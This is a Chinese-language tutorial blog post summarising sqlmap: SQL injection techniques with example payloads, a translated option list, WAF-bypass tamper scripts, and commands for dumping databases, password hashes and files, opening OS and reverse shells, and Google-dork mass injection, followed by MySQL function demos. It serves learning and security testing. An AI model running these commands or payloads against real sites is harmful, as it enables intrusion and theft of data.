Sqlmap学习使用小总结

Oslo / 2019-08-16 09:27:00 / 浏览数 4374 安全技术 WEB安全 顶(2) 踩(0)

Sqlmap使用的小小总结QAQ

写在前面

最近在学习使用Sqlmap，看了很多文章，很多很杂，所以自己写一个小小的使用总结

如有不对请多多包涵 :P

先了解

SQLmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MySQL，Oracle，PostgreSQL，Microsoft SQL Server，Microsoft Acess，IBM DB2，SQLLite，Firebird，Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术，分别是盲推理SQL注入，UNION查询SQL注入，对查询和盲注。其广泛的功能和选项包括数据库指纹，枚举，数据库提取

当给Sqlmap一个url跑的时候，它会：

1.判断注入时选择的参数

2.判断识别出使用的那种数据库

3.判断注入时使用何种sql注入技术来进行注入

4.根据用户的选择需要，获取相应的需要的数据

Sqlmap支持的五种sql注入：

1.基于报错的sql注入

1）floor报错注入

经典floor报错注入语句：

```
■1■select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;
■2■select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x
```

2）UpdateXml报错注入

```
mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database()
ERROR 1105 (HY000): XPATH syntax error: '~users'
```

获取字段名和内容的命令格式类似

3）ExtractValue报错注入

```
mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limi
ERROR 1105 (HY000): XPATH syntax error: '\users'
```

2.基于布尔的注入

通过构造sql语句，通过判断语句是否执行成功来对数据进行猜解。

查看表名：

```
select table_name from information_schema.tables where table_schema=database() limit 0,1;
```

无论输入什么只有正确和错误的，那么就可以判断是基于布尔的注入

3.基于时间的盲注

基于的原理是，当对数据库进行查询操作，如果查询的条件不存在，语句执行的时间便是0.但往往语句执行的速度非常快，线程信息一闪而过，得到的执行时间基本为0。但

```
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)■
```

与基于布尔注入相比，基于时间的盲注使用了if语句来进行判断

4.联合查询注入（union injection）

联合查询注入的前提条件是页面上有显示为位，在可以使用union的情况下进行联合查询注入

联合注入的过程：

1、判断注入点

2、判断是整型还是字符型

3、判断查询列数

4、判断显示位

5、获取所有数据库名

6、获取数据库所有表名

7、获取字段名

8、获取字段中的数据

5.堆查询注入（stack injection）

堆查询注入也称为堆叠注入，通过添加一个新 的查询或者终止查询，可以达到修改数据和调用存储过程的目的，

可以同时执行多条语句的执行时的注入。

安装Sqlmap

```
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-test
```

Sqlmap选项（Options)

–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别：0-6（默认为 1）

Target(目标)：
以下至少需要设置其中一个选项，设置目标 URL。
-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标 URL。
-l LIST 从 Burp 或 WebScarab 代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入 HTTP 请求。
-g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。
-c CONFIGFILE 从 INI 配置文件中加载选项。

Request（请求）：:
这些选项可以用来指定如何连接到目标 URL。
–data=DATA 通过 POST 发送的数据字符串
–cookie=COOKIE HTTP Cookie 头
–cookie-urlencode URL 编码生成的 cookie 注入
–drop-set-cookie 忽略响应的 Set –Cookie 头信息
–user-agent=AGENT 指定 HTTP User –Agent 头
–random-agent 使用随机选定的 HTTP User-Agent 头
–referer=REFERER 指定 HTTP Referer 头
–headers=HEADERS 换行分开，加入其他的 HTTP 头
–auth-type=ATYPE HTTP 身份验证类型（基本，摘要或 NTLM）(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份验证凭据（用户名: 密码）
–auth-cert=ACERT HTTP 认证证书（key_file，cert_file）
–proxy=PROXY 使用 HTTP 代理连接到目标 URL
–proxy-cred=PCRED HTTP 代理身份验证凭据（用户名：密码）
–ignore-proxy 忽略系统默认的 HTTP 代理
–delay=DELAY 在每个 HTTP 请求之间的延迟时间，单位为秒
–timeout=TIMEOUT 等待连接超时的时间（默认为 30 秒）
–retries=RETRIES 连接超时后重新连接的时间（默认 3）
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的 url 地址
–safe-freq=SAFREQ 两次访问之间测试请求，给出安全的 URL

Optimization（优化）：
这些选项可用于优化 sqlmap.py 的性能。
-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的 HTTP(S) 连接
–null-connection 从没有实际的 HTTP 响应体中检索页面长度
–threads=THREADS 最大的 HTTP(S) 请求并发量（默认为 1）

Injection（注入）：
这些选项可以用来指定测试哪些参数，提供自定义的注入 payloads 和可选篡改脚本。
-p TESTPARAMETER 可测试的参数
–dbms=DBMS 强制后端的 DBMS 为此值
–os=OS 强制后端的 DBMS 操作系统为这个值
–prefix=PREFIX 注入 payload 字符串前缀
–suffix=SUFFIX 注入 payload 字符串后缀
–tamper=TAMPER 使用给定的脚本篡改注入数据
–tamper 通过编码绕过 WEB 防火墙（WAF）sqlmap.py 默认用 char()
–tamper 插件所在目录 \ sqlmap-dev\tamper

1. apostrophemask.py 用 UTF-8 全角字符替换单引号字符
2. apostrophenullencode.py 用非法双字节 unicode 字符替换单引号字符
3. appendnullbyte.py 在 payload 末尾添加空字符编码
4. base64encode.py 对给定的 payload 全部字符使用 Base64 编码
5. between.py 分别用 “NOT BETWEEN 0 AND #” 替换大于号 “>”，“BETWEEN # AND #” 替换等于号“=”
6. bluecoat.py 在 SQL 语句之后用有效的随机空白符替换空格符，随后用 “LIKE” 替换等于号“=”
7. chardoubleencode.py 对给定的 payload 全部字符使用双重 URL 编码（不处理已经编码的字符）
8. charencode.py 对给定的 payload 全部字符使用 URL 编码（不处理已经编码的字符）
9. charunicodeencode.py 对给定的 payload 的非编码字符使用 Unicode URL 编码（不处理已经编码的字符）
10. concat2concatws.py 用 “CONCAT_WS(MID(CHAR(0), 0, 0), A, B)” 替换像 “CONCAT(A, B)” 的实例
11. equaltolike.py 用 “LIKE” 运算符替换全部等于号“=”
12. greatest.py 用 “GREATEST” 函数替换大于号“>”
13. halfversionedmorekeywords.py 在每个关键字之前添加 MySQL 注释
14. ifnull2ifisnull.py 用 “IF(ISNULL(A), B, A)” 替换像 “IFNULL(A, B)” 的实例
15. lowercase.py 用小写值替换每个关键字字符
16. modsecurityversioned.py 用注释包围完整的查询
17. modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
18. multiplespaces.py 在 SQL 关键字周围添加多个空格
19. nonrecursivereplacement.py 用 representations 替换预定义 SQL 关键字，适用于过滤器
20. overlongutf8.py 转换给定的 payload 当中的所有字符
21. percentage.py 在每个字符之前添加一个百分号
22. randomcase.py 随机转换每个关键字字符的大小写
23. randomcomments.py 向 SQL 关键字中插入随机注释
24. securesphere.py 添加经过特殊构造的字符串
25. sp_password.py 向 payload 末尾添加 “sp_password” for automatic obfuscation from DBMS logs
26. space2comment.py 用 “/**/” 替换空格符
27. space2dash.py 用破折号注释符 “--” 其次是一个随机字符串和一个换行符替换空格符
28. space2hash.py 用磅注释符 “#” 其次是一个随机字符串和一个换行符替换空格符
29. space2morehash.py 用磅注释符 “#” 其次是一个随机字符串和一个换行符替换空格符
30. space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
31. space2mssqlhash.py 用磅注释符 “#” 其次是一个换行符替换空格符
32. space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
33. space2mysqldash.py 用破折号注释符 “--” 其次是一个换行符替换空格符
34. space2plus.py 用加号 “+” 替换空格符
35. space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
36. unionalltounion.py 用 “UNION SELECT” 替换“UNION ALL SELECT”
37. unmagicquotes.py 用一个多字节组合 %bf%27 和末尾通用注释一起替换空格符
38. varnish.py 添加一个 HTTP 头 “X-originating-IP” 来绕过 WAF
39. versionedkeywords.py 用 MySQL 注释包围每个非函数关键字
40. versionedmorekeywords.py 用 MySQL 注释包围每个关键字
41. xforwardedfor.py 添加一个伪造的 HTTP 头 “X-Forwarded-For” 来绕过 WAF

Detection（检测）：
这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。
–level=LEVEL 执行测试的等级（1-5，默认为 1）
–risk=RISK 执行测试的风险（0-3，默认为 1）
–string=STRING 查询有效时在页面匹配字符串
–regexp=REGEXP 查询有效时在页面匹配正则表达式
–text-only 仅基于文本内容比较网页

这些选项可用于调整具体的 SQL 注入测试。
–technique=TECH SQL 注入技术测试（默认 BEUST）
Techniques（技巧）：
–technique /* 测试指定注入类型 \ 使用的技术
不加参数默认测试所有注入技术：
B: 基于布尔的 SQL 盲注
E: 基于显错 sql 注入
U: 基于 UNION 注入
S: 叠层 sql 注入
T: 基于时间盲注

–time-sec=TIMESEC DBMS 响应的延迟时间（默认为 5 秒）
–union-cols=UCOLS 定列范围用于测试 UNION 查询注入
–union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint（指纹）：
-f, –fingerprint 执行检查广泛的 DBMS 版本指纹

Enumeration（枚举）：
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您自己的 SQL 语句。
-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测 DBMS 当前用户是否 DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举 DBMS 数据库中的表
–columns 枚举 DBMS 数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的 DBMS 数据库表中的条目
–search 搜索列，表和 / 或数据库名称
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的 SQL 语句
–sql-shell 提示交互式 SQL 的 shell

Brute force(蛮力):
这些选项可以被用来运行蛮力检查。
–common-tables 检查存在共同表
–common-columns 检查存在共同列

User-defined function injection（用户自定义函数注入）：
这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径

File system access（访问文件系统）：
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access（操作系统访问）：
这些选项可以用于访问后端数据库管理系统的底层操作系统。
–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的 shell
–os-pwn 获取一个 OOB shell，meterpreter 或 VNC
–os-smbrelay 一键获取一个 OOB shell，meterpreter 或 VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows 注册表访问：
这些选项可以被用来访问后端数据库管理系统 Windows 注册表。
–reg-read 读一个 Windows 注册表项值
–reg-add 写一个 Windows 注册表项值数据
–reg-del 删除 Windows 注册表键值
–reg-key=REGKEY Windows 注册表键
–reg-value=REGVAL Windows 注册表项值
–reg-data=REGDATA Windows 注册表键值数据
–reg-type=REGTYPE Windows 注册表项值类型

General（一般）：
这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新 SqlMap
–save file 保存选项到 INI 配置文件
–batch 从不询问用户输入，使用所有默认配置。

Miscellaneous（杂项）：
–beep 发现 SQL 注入时提醒
–check-payload IDS 对注入 payloads 的检测测试
–cleanup sqlmap.py 具体的 UDF 和表清理 DBMS
–forms 对目标 URL 的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果
–page-rank Google dork 结果显示网页排名（PR）
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个 sqlite3 数据库
–tor 使用默认的 Tor（Vidalia/ Privoxy/ Polipo）代理地址
–wizard 给初级用户的简单向导界面

Sqlmap基础的使用

./sqlmap.py sqlmap -u "http://www.xxx.com" // 查是否有注入，一些基本信息

./sqlmap.py -u "http://www.xxx.com" --dbs // 枚举数据库

./sqlmap.py sqlmap -u "http://www.xxx.com" --tables // 表名枚举

./sqlmap.py sqlmap -u "http://www.xxx.com" --columns -T 数据库表名 // 字段枚举

./sqlmap.py sqlmap -u "http://www.xxx.com" --dump -T 数据库表名 -C "字段 1，字段 2，字段 3" //dump

./sqlmap.py -u "http://www.xxx.com" --dump -D 数据库名 -T 表名 -C "字段名 1，字段名 2，字段名 3" //dump

获取数据库—> 获取表名—-> 获取字段名—-> 获取数据库内容

Sqlmap初级使用

sqlmap.py -u “http://url/news?id=1” –dbs / 查询是什么数据库sqlmap.py -u “http://url/news?id=1” –current-db / 获取当前数据库名称
sqlmap.py -u “http://url/news?id=1” –current-user / 获取当前用户名称sqlmap.py -u “http://url/news?id=1” -D DataName –tables / 获取 DataName 数据库的表
sqlmap.py -u “http://url/news?id=1” –columns -T “tablename“ users-D “db_name” -v 0 /* 列字段

sqlmap.py -u “http://url/news?id=1” -D DataName –T TableNamen –C “admin,password” –dump -v 0 / 获取字段数据sqlmap.py -u “http://url/news?id=1” –dbms “Mysql” / 指定数据库类型
sqlmap.py -u “http://url/news?id=1” –users / 列数据库用户sqlmap.py -u “http://url/news?id=1” –passwords / 获取数据库用户密码

sqlmap.py -u “http://url/news?id=1” –passwords -U root -v 0 / 列出指定用户数据库密码sqlmap.py -u “http://url/news?id=1” –dump -C “password,user,id” -T “tablename” -D “db_name” –start 1 –stop 20 / 列出指定字段，列出 20 条
sqlmap.py -u “http://url/news?id=1” –dump-all -v 0 / 列出所有数据库所有表sqlmap.py -u “http://url/news?id=1” –privileges / 查看权限
sqlmap.py -u “http://url/news?id=1” –privileges -U root / 查看指定用户权限sqlmap.py -u “http://url/news?id=1” –is-dba -v 1 / 是否是数据库管理员
sqlmap.py -u “http://url/news?id=1” –roles / 枚举数据库用户角色sqlmap.py -u “http://url/news?id=1” –udf-inject / 导入用户自定义函数（获取系统权限！）
sqlmap.py -u “http://url/news?id=1” –dump-all –exclude-sysdbs -v 0 / 列出当前库所有表sqlmap.py -u “http://url/news?id=1” –union-cols /union 查询表记录
sqlmap.py -u “http://url/news?id=1” –cookie “COOKIE_VALUE” /cookie 注入sqlmap.py -u “http://url/news?id=1” -b(–banner) / 获取 banner 信息
sqlmap.py -u “http://url/news?id=1” –data “id=3” /post 注入sqlmap.py -u “http://url/news?id=1” -v 1 -f / 指纹判别数据库类型
sqlmap.py -u “http://url/news?id=1” –proxy “http://127.0.0.1:8118” / 代理注入sqlmap.py -u “http://url/news?id=1” –string “STRING_ON_TRUE_PAGE” / 指定关键词
sqlmap.py -u “http://url/news?id=1” –sql-shell / 执行指定 sql 命令sqlmap.py -u “http://url/news?id=1” –file /etc/passwdsqlmap.py -u “http://url/news?id=1” –os-cmd=whoami / 执行系统命令
sqlmap.py -u “http://url/news?id=1” –os-shell / 系统交互 shellsqlmap.py -u “http://url/news?id=1” –os-pwn / 反弹 shell
sqlmap.py -u “http://url/news?id=1” –reg-read / 读取 win 系统注册表sqlmap.py -u “http://url/news?id=1” –dbs-o “sqlmap.log”/ 保存进度
sqlmap.py -u “http://url/news?id=1” –dbs -o “sqlmap.log” –resume /* 恢复 已保存进度

Sqlmap使用进阶

利用Cookies

cookie "id=9"
在 ASP 中, request 对象获取客户端提交数据常用的是 get 和 post 两种方式, 同时 request 对象可以不通过集合来获得数据, 即直接使用”request(“name”)”. 但它效率低下, 容易出错, 当我们省略具体的集合名称时, asp 是按 QueryString(get),Form(post),Cookie,Sevevariable, 集合的顺序来搜索的. cookie 是保存在客户端的一个文本文件, 可以进行修改, 这样一来, 就可以利用 Request.cookie 方式来提交变量的值, 从而利用系统的漏洞进行注入攻击

Sqlmap表单的使用

表单枚举
./sqlmap.py -u "http://www.xxx.com" --forms

指定表单数据
./sqlmap.py -u "http://www.xxx.com" --data "tfUName=1&UPass=1"

burpsuite 抓包与构造 request 请求

./sqlmap.py -r search_test.py -p tfUPass

交互式shell的使用（可提权）

./sqlmap.py -u "http://www.xxx.com" --os-cmd "ipconfig"

./sqlmap.py -u "http://www.xxx.com" --os-shell

./sqlmap.py -u "http://www.xxx.com" --os-pwn

./sqlmap.py -u "http://www.xxx.com" --sql-shell

配合Google Hacking使用

-p name / 多个参数如 index.php?n_id=1&name=2&data=2020 我们想指定 name 参数进行注入sqlmap.py -g “site:xxxxx.com inurl:php?id=” –dump-all –batch /google 搜索注入点自动跑出所有字段，需保证 google.com 能正常访问

WAF绕过

--batch Never ask for user input, use the default behaviour
--tamper=TAMPER Use given script(s) for tampering injection data
常见 encoder: space2hash.py, space2morehash.py, base64encode.py, charencode.py

例子：

./sqlmap.py -u "http://www.xxx.com" -v 3 --dbs --batch --tamper "space2hash.py"

智能level测试等级

sqlmap.py -u “http://www.2cto.com /news?id=1” –smart –level 3 –users /*smart 智能 level 测试等级

基本信息收集的SQL语句

oracle

`select table_name,row_nums from user_tables order by row_nums desc [where table_name like '%%']■■■10■select * from [table_na

mysql

`select table_name from information_schema.tables [where table_name like '%%']■■■10■select * from [table_name] limit 10`

Sqlserver

`select a.name,b.rows from sysobjects a with(nolock) join sysindexes b on b.id=a.id where a.xtype='u' and b.indid in (0,1) ord

Sqlmap盲注过程相关的函数及使用方法

mid()

--从文本字段中提取字符

```
SELECT MID(column_name,start[,length]) FROM table_name;
```

column_name：要提取字符串的字段内容

start：必需，规定起始位置（值为1）

length可选，代表长度；如果省略，则返回剩余的文本内容

```
mysql> select mid(adnumber,1,2)from address_list;
+-------------------+
| mid(adnumber,1,2) |
+-------------------+
| 31                |
| 31                |
| 31                |
| 31                |
| 31                |
+-------------------+
5 rows in set (0.01 sec)
mysql> select mid(adnumber,1,3)from address_list;
+-------------------+
| mid(adnumber,1,3) |
+-------------------+
| 311               |
| 311               |
| 311               |
| 311               |
| 311               |
+-------------------+
5 rows in set (0.00 sec)
mysql> select mid(adnumber,2,3)from address_list;
+-------------------+
| mid(adnumber,2,3) |
+-------------------+
| 117               |
| 117               |
| 117               |
| 117               |
| 117               |
+-------------------+
5 rows in set (0.00 sec)
```

limit()

--返回前几条或者中间某几行数据

```
select * from table limit m,n;
```

从第m条记录开始返回n条记录

```
mysql> select * from user limit 1,2;
+----+----------+----------+------------+-----------+---------------------+
| id | username | password | number     | classinfo | createdata          |
+----+----------+----------+------------+-----------+---------------------+
| 82 | 5555     | 123456   | 311700     | 177777    | 2019-07-06 20:45:50 |
```

```
| 83 | 9999     | 123456   | 311700     | 1777777   | 2019-07-06 20:46:14 |
+----+----------+----------+------------+-----------+---------------------+
2 rows in set (0.00 sec)
mysql> select * from user limit 1,3;
+----+----------+----------+------------+-----------+---------------------+
| id | username | password | number     | classinfo | createdata          |
+----+----------+----------+------------+-----------+---------------------+
| 82 | 5555     | 123456   | 3117       | 1777777   | 2019-07-06 20:45:50 |
| 83 | 9999     | 123456   | 311700     | 1777777   | 2019-07-06 20:46:14 |
| 84 | ■■■■  | 123456   | 311700     | 17777777  | 2019-07-06 20:46:50 |
+----+----------+----------+------------+-----------+---------------------+
3 rows in set (0.00 sec)
```

concat、concat_ws、group_concat

concat函数在连接字符串的时候，只要其中一个是NULL,那么将返回NULL

```
mysql> select concat('123',null);
+--------------------+
| concat('123',null) |
+--------------------+
| NULL               |
+--------------------+
1 row in set (0.00 sec)
mysql> select concat('123','123456');
+------------------------+
| concat('123','123456') |
+------------------------+
| 123123456              |
+------------------------+
1 row in set (0.00 sec)
```

concat_ws函数在执行的时候,不会因为NULL值而返回NULL

```
mysql> select concat_ws('123',null);
+-----------------------+
| concat_ws('123',null) |
+-----------------------+
|                       |
+-----------------------+
1 row in set (0.00 sec)
mysql> select concat_ws('123','456789');
+---------------------------+
| concat_ws('123','456789') |
+---------------------------+
| 456789                    |
+---------------------------+
1 row in set (0.00 sec)
mysql> select concat_ws('.','123','456789');
+-------------------------------+
| concat_ws('.','123','456789') |
+-------------------------------+
| 123.456789                    |
+-------------------------------+
1 row in set (0.00 sec)
```

Count()

--聚集函数，统计元祖的个数

```
mysql> select count(*) from user;
+----------+
| count(*) |
+----------+
|        4 |
+----------+
1 row in set (0.00 sec)
```

rand()

--用于产生一个0~1的随机数

```
mysql> select rand(),rand();
+--------------------+--------------------+
| rand()             | rand()             |
+--------------------+--------------------+
| 0.4360487893559493 | 0.24646534328019745 |
+--------------------+--------------------+
1 row in set (0.00 sec)
```

group by

--依据我们想要的规则对结果进行分组

```
mysql> select * from user group by username;
+----+----------+----------+------------+-----------+---------------------+
| id | username | password | number     | classinfo | createdata          |
+----+----------+----------+------------+-----------+---------------------+
| 82 | 5555     | 123456   | 311700     | 11111111  | 2019-07-06 20:45:50 |
| 83 | 9999     | 123456   | 311700     | 1111111   | 2019-07-06 20:46:14 |
| 81 | ■        | 123456   | 311700     | 1111111   | 2019-07-06 20:28:13 |
| 84 | ■■       | 123456   | 311700     | 1111111   | 2019-07-06 20:46:50 |
+----+----------+----------+------------+-----------+---------------------+
4 rows in set (0.00 sec)
```

length()

--返回字符串的长度

```
mysql> select length('xianzhi');
+-------------------+
| length('xianzhi') |
+-------------------+
|                 7 |
+-------------------+
1 row in set (0.00 sec)
mysql> select * from user where length(username)=4;
+----+----------+----------+------------+-----------+---------------------+
| id | username | password | number     | classinfo | createdata          |
+----+----------+----------+------------+-----------+---------------------+
| 82 | 5555     | 123456   | 3117004597 | 170806    | 2019-07-06 20:45:50 |
| 83 | 9999     | 123456   | 3117004598 | 170806    | 2019-07-06 20:46:14 |
+----+----------+----------+------------+-----------+---------------------+
2 rows in set (0.00 sec)
```

Substr()

--截取字符串

三个参数（所要截取字符串，截取的位置，截取的长度）

```
mysql> select substr('abcdefghijk',4,8);
+---------------------------+
| substr('abcdefghijk',4,8) |
+---------------------------+
| defghijk                  |
+---------------------------+
1 row in set (0.00 sec)
mysql> select substr(username,1,2)from user;
+----------------------+
| substr(username,1,2) |
+----------------------+
| ■■                   |
| 55                   |
| 99                   |
| ■■                   |
+----------------------+
4 rows in set (0.00 sec)
```

Ascii()

--返回字符串的ascii码

```
mysql> select ascii(9);
+----------+
| ascii(9) |
+----------+
|       57 |
+----------+
1 row in set (0.00 sec)
mysql> select ascii(substr(username,1,2))from user;
+-----------------------------+
| ascii(substr(username,1,2)) |
+-----------------------------+
|                         229 |
|                          53 |
|                          57 |
|                         229 |
+-----------------------------+
4 rows in set (0.00 sec)
```

参考资料

上一篇：GPS卫星信号劫持 下一篇：逆向学习之画堆栈图一

1. 0 条回复
   - 动动手指，沙发就是你的了！